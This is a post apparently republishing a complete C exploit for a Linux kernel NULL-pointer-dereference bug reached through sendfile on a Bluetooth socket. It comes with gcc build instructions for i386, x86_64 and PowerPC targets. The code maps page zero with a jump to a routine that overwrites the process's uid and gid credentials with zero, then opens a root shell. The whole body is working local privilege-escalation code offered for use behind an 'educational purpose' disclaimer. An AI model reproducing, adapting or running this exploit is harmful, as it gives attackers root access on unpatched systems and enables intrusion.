enero 17, 2012
11:13

Linux 2.6.18-128.el5 / Linux 2.6.9-89.EL

* Linux 2.6.18-128.el5
 * Linux 2.6.9-89.EL
 * Ubuntu 8.10 Linux 2.6.27
 *
 * For i386 & ppc compile with the command;
 * gcc -w -o exploit exploit.c
 *
 * For x86_64 kernel and ppc64 Compile as;
 * gcc -w -m64 -o exploit exploit.c
 *
 * Greetz: r0073r,r4dc0re,side^effect
 *
 *
 * For Educational purpose Only))
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;

    asm volatile ("movq %%rsp,%0; " : "=r" (sp));

    return sp;
}

#else
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;

    asm volatile ("movl %%esp,%0" : "=r" (sp));

    return sp;
}

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;

    asm volatile ("mr %0,%%r1; " : "=r" (sp));

    return sp;
}

#endif

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct;

    asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));

    return task_struct;
}

#else
#define TASK_RUNNING 0

static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;

    thread_info = current_stack_pointer() & ~(4096 - 1);

    if (*(unsigned long *)thread_info >= 0xc0000000) {
        task_struct = *(unsigned long *)thread_info;

        /*
         * The TASK_RUNNING is the Only poss1ble sta7e for a proCes5 exEcut1ng
         * in us3r-spaCe.
         */
        if (*(unsigned long *)task_struct == TASK_RUNNING)
            return task_struct;
    }

    /*
     * Prior to the 2.6 kernel series, the task_struct was stored at the end
     * of the kernel stack.
     */
    task_struct = current_stack_pointer() & ~(8192 - 1);

    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;

    thread_info = task_struct;

    task_struct = *(unsigned long *)thread_info;

    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;

    return -1;
}

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0

static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;

#if defined(__LP64__)
    task_struct = current_stack_pointer() & ~(16384 - 1);

#else
    task_struct = current_stack_pointer() & ~(8192 - 1);

#endif

    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;

    thread_info = task_struct;

    task_struct = *(unsigned long *)thread_info;

    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;

    return -1;
}

#endif

#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;

static int
change_cred(void)
{
    unsigned int *task_struct;

    task_struct = (unsigned int *)current_task_struct();

    while (task_struct) {
        if (task_struct[0] == uid && task_struct[1] == uid &&
                task_struct[2] == uid && task_struct[3] == uid &&
                task_struct[4] == gid && task_struct[5] == gid &&
                task_struct[6] == gid && task_struct[7] == gid) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }

        task_struct++;
    }

    return -1;
}

#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
    unsigned int *task_struct;

    task_struct = (unsigned int *)current_task_struct();

    while (task_struct) {
        if (!task_struct[0]) {
            task_struct++;
            continue;
        }

        if (task_struct[0] == task_struct[1] &&
                task_struct[0] == task_struct[2] &&
                task_struct[0] == task_struct[3] &&
                task_struct[4] == task_struct[5] &&
                task_struct[4] == task_struct[6] &&
                task_struct[4] == task_struct[7]) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }

        task_struct++;
    }

    return -1;
}

#endif

#define PAGE_SIZE getpagesize()

int
main(void)
{
    char *addr;
    int out_fd, in_fd;
    char template[] = "/tmp/tmp.XXXXXX";

#if defined(__i386__) || defined(__x86_64__)
    uid = getuid(), gid = getgid();

#endif

    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
    addr[0] = '\xff';
    addr[1] = '\x24';
    addr[2] = '\x25';
    *(unsigned long *)&addr[3] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;

#else
    addr[0] = '\xff';
    addr[1] = '\x25';
    *(unsigned long *)&addr[2] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
    /*
     * The use of function descriptors by the Power 64-bit ELF ABI requires
     * the use of a fake function descriptor.:P
     */
    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;

#else
    addr[0] = '\x3f';
    addr[1] = '\xe0';
    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
    addr[4] = '\x63';
    addr[5] = '\xff';
    *(unsigned short *)&addr[6] = (unsigned short)change_cred;
    addr[8] = '\x7f';
    addr[9] = '\xe9';
    addr[10] = '\x03';
    addr[11] = '\xa6';
    addr[12] = '\x4e';
    addr[13] = '\x80';
    addr[14] = '\x04';
    addr[15] = '\x20';

#endif

#endif

    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(EXIT_FAILURE);
    }

    if ((in_fd = mkstemp(template)) == -1) {
        perror("mkstemp");
        exit(EXIT_FAILURE);
    }

    if(unlink(template) == -1) {
        perror("unlink");
        exit(EXIT_FAILURE);
    }

    if (ftruncate(in_fd, PAGE_SIZE) == -1) {
        perror("ftruncate");
        exit(EXIT_FAILURE);
    }

    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);

    execl("/bin/sh", "sh", "-i", NULL);

    exit(EXIT_SUCCESS);
}

# [2011-10-07]